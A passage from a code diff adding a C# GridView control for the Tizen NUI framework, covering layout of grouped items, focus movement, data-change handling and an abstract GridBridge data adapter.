+            int lastItemIndex = lastGroup.itemList.Count - 1;
+            if (lastItemIndex < 0)
+            {
+                return;
+            }
+
+            Cell lastFilledCell = GetCellByItemIndex(groupList.Count - 1 ,lastItemIndex);
+            int lastFilledColumnIndex = lastFilledCell.columnIndex;
+            Column lastFilledColumn = lastGroup.columnList.ElementAt(lastFilledColumnIndex);
+            
+            int cellCount = lastFilledColumn.cellList.Count;
+            for (int i = 0; i < cellCount;  i++)
+            {
+                Cell curCell = lastFilledColumn.cellList.ElementAt(i);
+                if (curCell.columnIndex > lastFilledColumnIndex)
+                {
+                    lastFilledColumnIndex = lastFilledColumn.cellList.ElementAt(i).columnIndex;
+                }
+            }
+
+            lastFilledColumn = lastGroup.columnList.ElementAt(lastFilledColumnIndex);
+
+            float width, height;
+
+            if (GridType.Horizontal == gridType)
+            {
+                width = lastFilledColumn.endPos;
+                height = gridHeight - (margin[1] + margin[3]);
+            }
+            else
+            {
+                width = gridWidth - (margin[0] + margin[2]);
+                height = lastFilledColumn.endPos;
+            }
+
+            itemGroupRect.Width = width;
+            itemGroupRect.Height = height;
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroup: " + itemGroup.PositionX + ", " + itemGroup.PositionY + ", " + itemGroup.SizeWidth + ", " + itemGroup.SizeHeight);
+            itemGroup.SizeWidth = itemGroupRect.Width;
+            itemGroup.SizeHeight = itemGroupRect.Height;
+        }
+
+        private void InitItemGroupPosition()
+        {
+            if (GridType.Horizontal == gridType)
+            {
+                if (itemGroupRect.X > margin[0])
+                {
+                    itemGroupRect.X = margin[0];
+                }
+                else if (itemGroupRect.Right() < gridWidth)
+                {
+                    if (itemGroupRect.X >= gridWidth)
+                    {
+                        itemGroupRect.X = gridWidth - itemGroupRect.Width;
+                    }
+                    else
+                    {
+                        itemGroupRect.X = 0;
+                    }
+                }
+
+                itemGroupRect.Y = margin[1];
+            }
+            else
+            {
+                itemGroupRect.X = margin[0];
+                if (itemGroupRect.Y > margin[1])
+                {
+                    itemGroupRect.Y = margin[1];
+                }
+                else if (itemGroupRect.Y + itemGroupRect.Height < gridHeight)
+                {
+                    if (itemGroupRect.Y >= gridHeight)
+                    {
+                        itemGroupRect.Y = gridHeight - itemGroupRect.Height;
+                    }
+                    else
+                    {
+                        itemGroupRect.Y = 0;
+                    }
+                }
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            ResetItemGroupRectPos();
+
+            itemGroup.PositionX = itemGroupRect.X;
+            itemGroup.PositionY = itemGroupRect.Y;
+        }
+
+        private void ResetItemGroupRectPos()
+        {
+            //adjust item Group pos, to add margin when item group scroll to Head or Tail
+            if (GridType.Horizontal == gridType)
+            {
+                if (itemGroupRect.X == 0)
+                {
+                    itemGroupRect.X += margin[0];
+                }
+                else if (itemGroupRect.Right() == gridWidth)
+                {
+                    itemGroupRect.X -= margin[2];
+                }
+            }
+            else
+            {
+                if (itemGroupRect.Y == 0)
+                {
+                    itemGroupRect.Y += margin[1];
+                }
+                else if (itemGroupRect.Bottom() == gridHeight)
+                {
+                    itemGroupRect.Y -= margin[3];
+                }
+            }
+        }
+
+        private Cell GetCellByItemIndex(int groupIndex, int itemIndex)
+        {
+            Cell curCell = null;
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return null;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            if (curGroup.itemIndexToCell.ContainsKey(itemIndex))
+            {
+                curCell = curGroup.itemIndexToCell[itemIndex];
+            }
+
+            return curCell;
+        }
+
+        private bool IsGroupIndexValid(int groupIndex)
+        {
+            return (groupIndex >= 0 && groupList != null && groupIndex < groupList.Count);
+        }
+
+        private bool IsItemIndexValid(int groupIndex, int itemIndex)
+        {
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return false;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex); 
+
+            return (itemIndex >= 0 && curGroup.itemList != null && itemIndex < curGroup.itemList.Count);
+        }
+
+        private bool IsColumnIndexValid(int groupIndex, int columnIndex)
+        {
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return false;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+
+            return (columnIndex >= 0 && curGroup.columnList != null && columnIndex < curGroup.columnList.Count);
+        }
+
+        private bool IsCellIndexValid(int groupIndex, int columnIndex, int cellIndex)
+        {
+            if (!IsColumnIndexValid(groupIndex, columnIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid column index"));
+                return false;
+            }
+
+            Column curColumn = groupList.ElementAt(groupIndex).columnList.ElementAt(columnIndex);
+
+            return (cellIndex >= 0 && curColumn.cellList != null && cellIndex < curColumn.cellList.Count);
+        }
+
+        /// <summary>
+        /// Called when the control gain key input focus.
+        /// </summary>
+        /// <param name="sender">the object</param>
+        /// <param name="e">the args of the event</param>
+        public void ControlFocusGained(object sender, EventArgs e)
+        {
+            OnFocusGained();
+        }
+
+        public void OnFocusGained()
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ");
+            SetFocus(focusGroupIndex, focusItemIndex);
+        }
+
+        /// <summary>
+        /// Called when the control loses key input focus.
+        /// </summary>
+        /// <param name="sender">the object</param>
+        /// <param name="e">the args of the event</param>
+        public void ControlFocusLost(object sender, EventArgs e)
+        {
+            OnFocusLost();
+        }
+
+        public void OnFocusLost()
+        {
+            Tizen.Log.Fatal("NUI", "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<");
+            NotifyFocusChange(focusGroupIndex, focusItemIndex, -1, -1);
+        }
+
+        private void OnFocusMoveViaEvent(object o, EventArgs e)
+        {
+            Tizen.Log.Fatal("NUI", "--------------------- " + focusMoveViaQ.Count + " -------------------------------");
+            if (focusMoveViaQ.Count > 0)
+            {
+                {
+                    FocusMoveViaObject obj = focusMoveViaQ.Dequeue();
+                    {
+                        UpdateInMemoryItems(itemGroup.Position);
+                    }
+
+                    {
+                        //common focus notify focus change at destination of every via
+                        NotifyFocusChange(focusGroupIndex, focusItemIndex, obj.toGroupIndex, obj.toItemIndex);
+                    }
+                }
+
+                //viaMap1.Remove(args.ViaNode);
+            }
+        }
+
+        private void OnDataChange(object o, GridBridge.DataChangeEventArgs e)
+        {
+            switch (e.ChangeType)
+            {
+                case GridBridge.DataChangeEventType.Add:
+                    AddItem(e.param[0]);
+                    break;
+                case GridBridge.DataChangeEventType.Remove:
+                    DeleteItem(e.param[0], e.param[1], e.param[2]);
+                    break;
+                case GridBridge.DataChangeEventType.Insert:
+                    InsertItem(e.param[0], e.param[1]);
+                    break;
+                case GridBridge.DataChangeEventType.Clear:
+                    Clear();
+                    break;
+                case GridBridge.DataChangeEventType.Reset:
+                    ResetByData();
+                    break;
+                case GridBridge.DataChangeEventType.Load:
+                    Load();
+                    Group curGroup = groupList.ElementAt(e.param[0]);
+                    for (int i = e.param[1]; i < gridBridge.GetItemCount(e.param[0]); i++)
+                    {
+                        if (i < curGroup.itemList.Count)
+                        {
+                            gridBridge.UpdateItem(e.param[0], i, curGroup.itemList.ElementAt(i).itemView);
+                        }
+                    }
+
+                    if (focusItemIndex >= e.param[1] && focusItemIndex <= e.param[1] + e.param[2] - 1)
+                    {
+                        if (e.param[1] > 0)
+                        {
+                            SetFoucsItemIndex(e.param[1] - 1, focusGroupIndex);
+                        }
+                        else if (e.param[1] + e.param[2] < curGroup.itemList.Count)
+                        {
+                            SetFoucsItemIndex(e.param[1] + e.param[2], focusGroupIndex);
+                        }
+                    }
+                    else if (focusItemIndex >= e.param[1] + e.param[2])
+                    {
+                        SetFoucsItemIndex(focusItemIndex - e.param[2], focusGroupIndex);
+                    }
+
+                    break;
+                default:
+
+                    break;
+            }
+
+            refXForFocusMove = refYForFocusMove = -1;
+        }
+
+        private void AddItem(int groupIndex)
+        {
+            int dataCount = gridBridge.GetItemCount(groupIndex);
+            if (dataCount > groupList.ElementAt(groupIndex).realCellCount)
+            {
+                AddColumn(colW, groupIndex);
+                int columnIndex = groupList.ElementAt(groupIndex).columnList.Count - 1;
+                for (int i = 0; i < rowCnt; i++)
+                {
+                    AddRowToColumn(columnIndex, rowH, groupIndex);
+                }
+            }
+
+            Load();
+        }
+
+        private void AddAll(int groupIndex, int count)
+        {
+            Load();
+        }
+
+
+        private void DeleteItem(int groupIndex, int fromItemIndex, int deleteItemNum)
+        {
+            Group curGroup = groupList.ElementAt(groupIndex);
+
+            GridItem item = null;
+
+            int toItemIndex = fromItemIndex + deleteItemNum - 1;
+
+            int count = 0;
+
+            for (int i = fromItemIndex; i < curGroup.itemList.Count; i++)
+            {
+                item = curGroup.itemList.ElementAt(i);
+                if (curInMemoryItemSet.Contains(item))
+                {
+                    UnloadItem(item, true);
+                    count++;
+                }
+            }
+
+            for (int i = 0; i < count; i++)
+            {
+                curGroup.itemList.Remove(curGroup.itemList.ElementAt(curGroup.itemList.Count - 1));
+            }       
+        }
+
+        private void InsertItem(int groupIndex, int itemIndex)
+        {
+            Load();
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            for (int i = itemIndex; i < gridBridge.GetItemCount(groupIndex); i++)
+            {
+                if (i < curGroup.itemList.Count)
+                {
+                    gridBridge.UpdateItem(groupIndex, i, curGroup.itemList.ElementAt(i).itemView);
+                }
+            }
+        }
+
+        private void Clear()
+        {
+            for (int i = 0; i < groupList.Count; i++)
+            {
+                Clear(i);
+            }
+
+            ClearRecycleBin();
+        }
+
+        private void Clear(int groupIndex)
+        {
+            Tizen.Log.Fatal("NUI", "--------------------- " + groupIndex + " -------------------------------");
+            Group curGroup = groupList.ElementAt(groupIndex);
+            for (int i = 0; i < curGroup.itemList.Count; i++)
+            {
+                GridItem item = curGroup.itemList.ElementAt(i);
+                if (curInMemoryItemSet.Contains(item))
+                {
+                    UnloadItem(item, false);
+                }
+            }
+
+            curGroup.itemList.Clear();
+        }
+
+        private void ResetByData()
+        {
+            Tizen.Log.Fatal("NUI", "....");
+            int groupCount = gridBridge.GetGroupCount();
+            ResetGroup(groupCount);
+            for (int i = 0; i < groupCount; i++)
+            {
+                Tizen.Log.Fatal("NUI", ".... group: " + i);
+                int dataCount = gridBridge.GetItemCount(i);
+                Tizen.Log.Fatal("NUI", ".... dataCount: " + dataCount + " rowCnt: " + rowCnt);
+                int columnCount = (dataCount + rowCnt - 1) / rowCnt;
+                Group group = groupList.ElementAt(i);
+                Tizen.Log.Fatal("NUI", ".... columnCount: " + columnCount + " group.columnList.Count: " + group.columnList.Count + " group.itemIndexToCell.Count: " + group.itemIndexToCell.Count);
+                if (columnCount > group.columnList.Count)
+                {
+                    for (int c = group.columnList.Count; c < columnCount; c++)
+                    {
+                        AddColumn(colW, i);
+                        for (int r = 0; r < rowCnt; r++)
+                        {
+                            AddRowToColumn(c, rowH, i);
+                        }
+                    }
+                }
+                else if (columnCount < group.columnList.Count)
+                {
+                    float posOffset = -(group.columnList.Count - columnCount) * (colW + columnSpace) + ColumnSpace;
+
+                    for (int c = columnCount; c < group.columnList.Count; c++)
+                    {
+                        for (int r = 0; r < rowCnt; r++)
+                        {
+                            int itemIndex = c * rowCnt + r;
+                            group.itemIndexToCell.Remove(itemIndex);
+                            group.realCellCount--;
+                            Tizen.Log.Fatal("NUI", ".... itemIndexToCell.Remove: " + itemIndex);
+                        }
+                    }
+
+                    group.columnList.RemoveRange(columnCount, group.columnList.Count - columnCount);
+                    group.endPos = group.columnList.ElementAt(columnCount - 1).endPos;
+                    for (int j = i + 1; j < groupList.Count; j++)
+                    {
+                        if (GridType.Horizontal == gridType && groupList.ElementAt(j).title != null)
+                        {
+                            groupList.ElementAt(j).title.PositionX += posOffset;
+                        }
+
+                        groupList.ElementAt(j).ResetPosition(posOffset);
+                    }
+
+                }
+
+                Tizen.Log.Fatal("NUI", ".... group.columnList.Count: " + group.columnList.Count);
+            }
+
+            focusGroupIndex = 0;
+            focusItemIndex = 0;
+            Tizen.Log.Fatal("NUI", "....");
+            Load();
+            if (HasFocus() == true && curInMemoryItemSet.Count != 0)
+            {
+                SetFocus(0, 0);
+            }
+        }
+
+        /*page length set to grid length*/
+        private void PageMove(bool bPrev, bool bAni)
+        {
+            Rect visibleAreaOfItemGroup = new Rect(-itemGroupRect.X, -itemGroupRect.Y, gridWidth, gridHeight);
+
+            if (GridType.Horizontal == gridType)
+            {
+                if (bPrev)
+                {
+                    visibleAreaOfItemGroup.X -= gridWidth;
+                    if (0 > visibleAreaOfItemGroup.X)
+                    {
+                        visibleAreaOfItemGroup.X = 0;
+                    }
+                }
+                else
+                {
+                    visibleAreaOfItemGroup.X += gridWidth;
+                    if (-visibleAreaOfItemGroup.X + itemGroupRect.Width < gridWidth)
+                    {
+                        visibleAreaOfItemGroup.X = itemGroupRect.Width - gridWidth;
+                    }
+                }
+
+                if (-itemGroupRect.X == visibleAreaOfItemGroup.X)
+                {
+                    return;
+                }
+            }
+            else
+            {
+                if (bPrev)
+                {
+                    visibleAreaOfItemGroup.Y -= gridHeight;
+                    if (0 > visibleAreaOfItemGroup.Y)
+                    {
+                        visibleAreaOfItemGroup.Y = 0;
+                    }
+                }
+                else
+                {
+                    visibleAreaOfItemGroup.Y += gridHeight;
+                    if (-visibleAreaOfItemGroup.Y + itemGroupRect.Height < gridHeight)
+                    {
+                        visibleAreaOfItemGroup.Y = itemGroupRect.Height - gridHeight;
+                    }
+                }
+
+                if (-itemGroupRect.Y == visibleAreaOfItemGroup.Y)
+                {
+                    return;
+                }
+            }
+
+            Range newRange = new Range(0, 0, 0, 0);
+            GetOnscreenRange(visibleAreaOfItemGroup, ref newRange, true);
+
+            Group curFocusedGroup = groupList.ElementAt(focusGroupIndex);
+            Cell curFocusedCell = GetCellByItemIndex(focusGroupIndex, focusItemIndex);
+            Column curFocusedColumn = curFocusedGroup.columnList.ElementAt(curFocusedCell.columnIndex);
+
+            float focusStartLine = curFocusedColumn.startPos;
+            float focusEndLine = curFocusedColumn.endPos;
+            float focusMiddleLine = 0;
+
+            if (newRange.startGroupInScrn >= 0 && newRange.endGroupInScrn >= 0)
+            {
+                if (GridType.Horizontal == gridType)
+                {
+                    focusStartLine = focusStartLine + itemGroupRect.X + visibleAreaOfItemGroup.X;
+                    focusEndLine = focusEndLine + itemGroupRect.X + visibleAreaOfItemGroup.X;
+                }
+                else
+                {
+                    focusStartLine = focusStartLine + itemGroupRect.Y + visibleAreaOfItemGroup.Y;
+                    focusEndLine = focusEndLine + itemGroupRect.Y + visibleAreaOfItemGroup.Y;
+                }
+
+                focusMiddleLine = focusStartLine + (focusEndLine - focusStartLine) / 2;
+
+                int nextFocusGroup = -1; int nextFocusColumn = -1;
+                bool bFound = false;
+                for (int i = newRange.startGroupInScrn; i <= newRange.endGroupInScrn && bFound == false; i++)
+                {
+                    Group curGroup = groupList.ElementAt(i);
+
+                    int startColumnIndex = (i == newRange.startGroupInScrn) ? newRange.startColumnInScrn : 0;
+                    int endColumnIndex = (i == newRange.endGroupInScrn) ? newRange.endColumnInScrn : curGroup.columnList.Count - 1;
+
+                    for (int j = startColumnIndex; j <= endColumnIndex; j++)
+                    {
+                        Column curColumn = curGroup.columnList.ElementAt(j);
+                        if (curColumn.startPos <= focusMiddleLine && curColumn.endPos >= focusMiddleLine)
+                        {
+                            nextFocusGroup = i;
+                            nextFocusColumn = j;
+                            bFound = true;
+                            break;
+                        }
+                    }
+
+                    if (bFound == false && i == newRange.startGroupInScrn && focusMiddleLine < curGroup.columnList.ElementAt(startColumnIndex).startPos)
+                    {
+                        nextFocusGroup = i;
+                        nextFocusColumn = startColumnIndex;
+                        break;
+                    }
+
+                    else if (bFound == false && i == newRange.endGroupInScrn && focusMiddleLine > curGroup.columnList.ElementAt(endColumnIndex).endPos)
+                    {
+                        nextFocusGroup = i;
+                        nextFocusColumn = endColumnIndex;
+                        break;
+                    }
+                }
+
+                if (nextFocusGroup >= 0 && nextFocusColumn >= 0)
+                {
+                    int nextFocusItem = -1;
+                    GetNearestItem(curFocusedCell, nextFocusGroup, nextFocusColumn, ref nextFocusItem);
+
+                    if (nextFocusItem >= 0)
+                    {
+                        while (gridBridge.IsItemEnabled(nextFocusGroup, nextFocusItem) == false)
+                        {
+                            nextFocusItem = GetNextColumnIndex(bPrev, nextFocusColumn, ref nextFocusGroup);
+                        }
+
+                        if (nextFocusItem >= 0)
+                        {
+                            Position newItemGroupPos = new Position(-visibleAreaOfItemGroup.X, -visibleAreaOfItemGroup.Y, 0);
+                            SetFocus(nextFocusGroup, nextFocusItem, bAni, newItemGroupPos);
+                        }
+                    }
+                }
+            }
+        }
+
+        private int GetNextColumnIndex(bool bPrev, int curColumnIndex, ref int curGroupIndex)
+        {
+            if (bPrev == true)
+            {
+                if (curColumnIndex == 0)
+                {
+                    if (curGroupIndex == 0)
+                    {
+                        return -1;
+                    }
+                    else
+                    {
+                        curGroupIndex--;
+                        return groupList.ElementAt(curGroupIndex).columnList.Count - 1;
+                    }
+                }
+                else
+                {
+                    return curColumnIndex - 1;
+                }
+            }
+            else
+            {
+                Group curGroup = groupList.ElementAt(curGroupIndex);
+                if (curGroup.columnList.Count - 1 == curColumnIndex)
+                {
+                    if (groupList.Count - 1 == curGroupIndex)
+                    {
+                        return -1;
+                    }
+                    else
+                    {
+                        curGroupIndex++;
+                        return 0;
+                    }
+                }
+                else
+                {
+                    return curColumnIndex + 1;
+                }
+            }
+        }
+
+        private class GridItem
+        {
+            public void ScaleItem(Vector3 scaleFactor, AnimationAttributes aniAttrs)
+            {
+                if (itemView == null || scaleFactor == null || aniAttrs == null)
+                {
+                    return;
+                }
+
+                if (scaleAni == null)
+                {
+                    scaleAni = new Animation();
+                }
+
+                if (scaleAni.State == Animation.States.Playing)
+                {
+                    scaleAni.Stop(Animation.EndActions.StopFinal);
+                }
+
+                scaleAni.Clear();
+                scaleAni.AnimateTo(itemView, "Scale", scaleFactor, 0, aniAttrs.Duration, new AlphaFunction(aniAttrs.BezierPoint1, aniAttrs.BezierPoint2));
+                scaleAni.Play();
+            }
+
+            public int groupIndex;
+            public int index;
+
+            public View itemView;
+            public Rect rect;
+
+            private Animation scaleAni = null;
+        }
+
+        private class Cell
+        {
+            public int columnIndex;
+            public int index;
+            public int itemIndex;
+            public int rowIndex;
+
+            public Rect rect;
+            public Cell()
+            {
+                rect = new Rect(0, 0, 0, 0);
+            }
+        }
+
+        private class Column
+        {
+            public int groupIndex;
+            public int index;
+
+            public float space;
+            public float startPos;
+            public float endPos;
+
+            public int startItemIndex;
+            public int endItemIndex;
+
+            public List<Cell> cellList;
+        }
+
+        private class Group
+        {
+            public int index;
+
+            public float startPos;
+            public float endPos;
+
+            public int realCellCount;
+            public int lastFilledColumnIndex;
+
+            public List<Column> columnList;
+            public List<GridItem> itemList;
+            public Dictionary<int, Cell> itemIndexToCell;
+
+            public void ResetPosition(float posOffset)
+            {
+                startPos += posOffset;
+                endPos += posOffset;
+
+                int count = columnList.Count;
+                for (int i = 0; i < count; i++)
+                {
+                    Column column = columnList.ElementAt(i);
+                    column.startPos += posOffset;
+                    column.endPos += posOffset;
+
+                    int cellCount = column.cellList.Count;
+                    for (int j = 0; j < cellCount; j++)
+                    {
+                        column.cellList.ElementAt(j).rect.X += posOffset;
+                    }
+                }
+            }
+
+            public View title;
+        }
+
+        private class Range
+        {
+            public int startGroupIndex;
+            public int startColumnIndex;
+
+            public int endGroupIndex;
+            public int endColumnIndex;
+
+            public int startGroupInScrn;
+            public int startColumnInScrn;
+
+            public int endGroupInScrn;
+            public int endColumnInScrn;
+
+            public int startItemIndexInScrn;
+            public int endItemIndexInScrn;
+
+            public Range()
+            {
+                startGroupIndex = 0;
+                startColumnIndex = 0;
+                endGroupIndex = 0;
+                endColumnIndex = 0;
+            }
+
+            public Range(int a, int b, int c, int d)
+            {
+                startGroupIndex = a;
+                startColumnIndex = b;
+                endGroupIndex = c;
+                endColumnIndex = d;
+            }
+        }
+
+        private class FocusMoveViaObject
+        {
+            public int toGroupIndex;
+            public int toItemIndex;
+        }
+
+        const int INVALID_COUNT = -1;
+
+        private List<Group> groupList;
+        private GridBridge gridBridge;
+
+        private View itemGroup;
+        private Rect itemGroupRect;
+
+        private Vector4 margin = Vector4.Zero;
+
+        private float gridWidth;
+        private float gridHeight;
+
+        private int preloadFrontColumnSize = 1;
+        private int preloadBackColumnSize = 1;
+
+        //layout attributes
+        private GridType gridType = GridType.Horizontal;
+        private int groupSpace = 0;
+        private int columnSpace = 0;
+        private int rowSpace = 0;
+        private int titleSpace = 0;
+
+        private int rowCnt = 0;
+        private int colCnt = 0;
+        private int colW = 0;
+        private int rowH = 0;
+
+        //focus
+        private int focusGroupIndex;
+        private int focusItemIndex;
+
+        private float refXForFocusMove;
+        private float refYForFocusMove;
+
+        private int focusTagGroupIndex;
+        private int focusTagItemIndex;
+        //animation
+        LinkerAnimation focusMoveAni;
+
+        private float focusInScaleFactor;
+
+        private AnimationAttributes focusInScaleAnimationAttrs;
+
+        private AnimationAttributes focusOutScaleAnimationAttrs;
+
+        private int focusMoveAniDuration;
+
+        private Queue<FocusMoveViaObject> focusMoveViaQ = new Queue<FocusMoveViaObject>();
+
+        //for load
+        private HashSet<GridItem> curInMemoryItemSet;
+        private HashSet<GridItem> nextInMemoryItemSet;
+
+        private Rect lastVisibleArea;
+
+        private Range onScreenRange;
+
+        //reuse
+        private List<View>[] recycledViews;
+        private int viewTypeCount;
+
+        private EventHandler<GridEventArgs> gridEventHandlers;
+    }
+
+    /// <summary>
+    /// The attributes of Animation.
+    /// </summary>
+    /// <code>
+    /// AnimationAttributes attrs = new AnimationAttributes();
+    /// attrs.BezierPoint1 = new  Vector2(0.21f, 2);
+    /// attrs.BezierPoint2 = new Vector2(0.14f, 1);
+    /// attrs.Duration = 1000;
+    /// </code>
+    public class AnimationAttributes
+    {
+        /// <summary>V1 on bezier curve</summary>
+        public Vector2 BezierPoint1;
+        /// <summary>V2 on bezier curve</summary>
+        public Vector2 BezierPoint2;
+        /// <summary>Animation duration</summary>
+        public int Duration;
+
+        /// <summary>
+        /// Constructs a AnimationAttributes..
+        /// </summary>
+        public AnimationAttributes()
+        {
+        }
+
+        /// <summary>
+        /// Constructs a AnimationAttributes with curve style..
+        /// </summary>
+        /// <param name="curve">curve</param>
+        public AnimationAttributes(string curve)
+        {
+        }
+
+        /// <summary>
+        /// Constructs a AnimationAttributes that is a copy of attrs..
+        /// </summary>
+        /// <param name="attrs">Construct Attributes</param>
+        public AnimationAttributes(AnimationAttributes attrs = null)
+        {
+            if (attrs == null)
+            {
+                return;
+            }
+
+            if (attrs.BezierPoint1 != null)
+            {
+                BezierPoint1 = new Vector2(attrs.BezierPoint1[0], attrs.BezierPoint1[1]);
+            }
+
+            if (attrs.BezierPoint2 != null)
+            {
+                BezierPoint2 = new Vector2(attrs.BezierPoint2[0], attrs.BezierPoint2[1]);
+            }
+
+            Duration = attrs.Duration;
+        }
+
+        /// <summary> Clone a AnimationAttributes </summary>
+        /// <returns> The AnimationAttributes copy</returns>
+        public AnimationAttributes Clone()
+        {
+            return new AnimationAttributes(this);
+        }
+    }
+
+    /// <summary>
+    /// A GridBridge object acts as a pipeline between an BridgeView and the
+    /// underlying data for that view. The Bridge provides access to the data items.
+    /// The Bridge is also responsible for making a View for each item in the data set.
+    /// </summary>
+    public abstract class GridBridge
+    {
+        /// <summary>
+        /// Event type of data change. 
+        /// </summary>
+        public enum DataChangeEventType
+        {
+            Add,
+            Remove,
+            Insert,
+            Clear,
+            Load,
+            Reset
+        }
+
+        /// <summary>
+        /// Data change event args at event call back,
+        /// user can get information about data change.
+        /// </summary>
+        /// <code>
+        ///private void OnDataChange(object o, GridBridge.DataChangeEventArgs e)
+        ///{
+        ///}
+        /// </code>
+        public class DataChangeEventArgs : EventArgs
+        {
+            /// <summary>
+            /// Data changed event type.
+            /// </summary>
+            public DataChangeEventType ChangeType
+            {
+                get { return m_ChangeType; }
+                set { m_ChangeType = value; }
+            }
+
+            /// <summary>
+            /// Changed data.
+            /// </summary>
+            public object data;
+            /// <summary>
+            /// Data change event parameters.
+            /// </summary>
+            public int[] param = new int[4];
+
+            private DataChangeEventType m_ChangeType;
+        }
+
+        /// <summary>
+        /// Event handler of data change event.
+        /// </summary>
+        /// <param name="sender">The object who sends the event.</param>
+        /// <param name="e">The event arguments.</param>
+        public delegate void EventHandler<DataChangeEventArgs>(object sender, DataChangeEventArgs e);
+
+        /// <summary>
+        /// Data change event handler, user can add/remove.
+        /// </summary>
+        public event EventHandler<DataChangeEventArgs> DataChangeEvent
+        {
+            add
+            {
+                dataChangeEventHandlers += value;
+            }
+
+            remove
+            {
+                dataChangeEventHandlers -= value;
+            }
+        }
+
+        /// <summary>
+        /// Constructor to create a grid view bridge with multi-groups.
+        /// </summary>
+        /// <param name="objects">Data list of differet groups.</param>
+        public GridBridge(List<List<object>> objects)
+        {
+            gridData = objects;
+        }
+
+        /// <summary>
+        /// Simple constructor to create a grid view bridge with one group.
+        /// </summary>
+        /// <param name="objects">Data list of grid view.</param>
+        public GridBridge(List<object> objects)
+        {
+            gridData = new List<List<object>>();
+            gridData.Add(objects);
+        }
+
+        /// <summary>
+        /// Create item View.
+        /// </summary>
+        /// <param name="groupIndex">Group index of item in grid view.</param>
+        /// <param name="itemIndex">Item index of specified group of grid view.</param>
+        /// <returns>View of specified item.</returns>
+        public abstract View GetItemView(int groupIndex, int itemIndex);
+
+        /// <summary>
+        /// Create group title of specified group, need to be overrided.
+        /// </summary>
+        /// <param name="groupIndex">Group index of grid view.</param>
+        /// <returns>Group title view.</returns>
+        public virtual View GetGroupTitleView(int groupIndex)
+        {
+            return null;
+        }
+
+        /// <summary>
+        /// Remove group title of specified group, need to be overrided.
+        /// </summary>
+        /// <param name="groupIndex">Group index of grid view.</param>
+        /// <param name="groupTitle">Group title view.</param>
+        public virtual void RemoveGroupTitleView(int groupIndex, View groupTitle)
+        {
+
+        }
+
+        /// <summary>
+        /// Update View that displays the data at the specified index in the data set when data change.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <param name="view">A View that displays the data at the specified index in the data set.</param>
+        public abstract void UpdateItem(int groupIndex, int itemIndex, View view);
+
+        /// <summary>
+        /// Update View that displays the data at the specified index in the data set when focus change.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <param name="view">Item view of specified item.</param>
+        /// <param name="FlagFocused">Focus in or focus out</param>
+        /// <param name="bSelected">LinearView item selected or not.</param>
+        public abstract void FocusChange(int groupIndex, int itemIndex, View view, bool FlagFocused, bool bSelected = false);
+
+        /// <summary>
+        /// Unload view at the specified index when item scroll out or deleted.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <param name="view">Item view of specified item.</param>
+        public abstract void UnloadItem(int groupIndex, int itemIndex, View view);
+
+        /// <summary>
+        /// Unload view according to the specified viewType.
+        /// </summary>
+        /// <param name="viewType"> Item type set by users.</param>
+        /// <param name="view">A View that displays the data at the specified index in the data set.</param>
+        public abstract void UnloadItemByViewType(int viewType, View view);
+
+        /// <summary>
+        /// Get the type of View that will be created by GetView for the specified item.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <remarks>Integers must be in the range 0 to GetItemTypeCount() - 1.</remarks>
+        /// <returns>Item type.</returns>
+        public virtual int GetItemType(int groupIndex, int itemIndex)
+        {
+            return 0;
+        }
+
+        /// <summary>
+        /// Get the number of view types.
+        /// </summary>
+        /// <returns>The count of view type.</returns>
+        public virtual int GetItemTypeCount()
+        {
+            return 1;
+        }
+
+        /// <summary>
+        /// Check whether item is enable or not.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <returns>Item is enabled or disabled.</returns>
+        public virtual bool IsItemEnabled(int groupIndex, int itemIndex)
+        {
+            return true;
+        }
+
+        /// <summary>
+        /// Get the data at the specified index.
+        /// </summary>
+        /// <param name="itemIndex">The item index.</param>
+        /// <param name="groupIndex">The group index.</param>
+        /// <returns>The data at the specified index.</returns>
+        public object GetData(int itemIndex, int groupIndex = 0)
+        {
+            object data = null;
+            if (gridData != null && gridData.ElementAt(groupIndex) != null && itemIndex >= 0 && itemIndex < gridData.ElementAt(groupIndex).Count)
+            {
+                data = gridData.ElementAt(groupIndex).ElementAt(itemIndex);
+            }
+
+            return data;
+        }
+
+        /// <summary>
+        /// Get data group count of the bridge.
+        /// </summary>
+        /// <returns>Group count of the data set.</returns>
+        public int GetGroupCount()
+        {
+            int count = 0;
+            if (gridData != null)
+            {
+                count = gridData.Count;
+            }
+
+            return count;
+        }
+
+        /// <summary>
+        /// How many items are in the data set of specified group.
+        /// </summary>
+        /// <param name="groupIndex">The data group index.</param>
+        /// <returns>Count of items of specified group.</returns>
+        public int GetItemCount(int groupIndex = 0)
+        {
+            int count = 0;
+            if (gridData != null && gridData.ElementAtOrDefault(groupIndex) != null)
+            {
+                count = gridData.ElementAt(groupIndex).Count;
+            }
+
+            return count;
+        }
+
+        /// <summary>
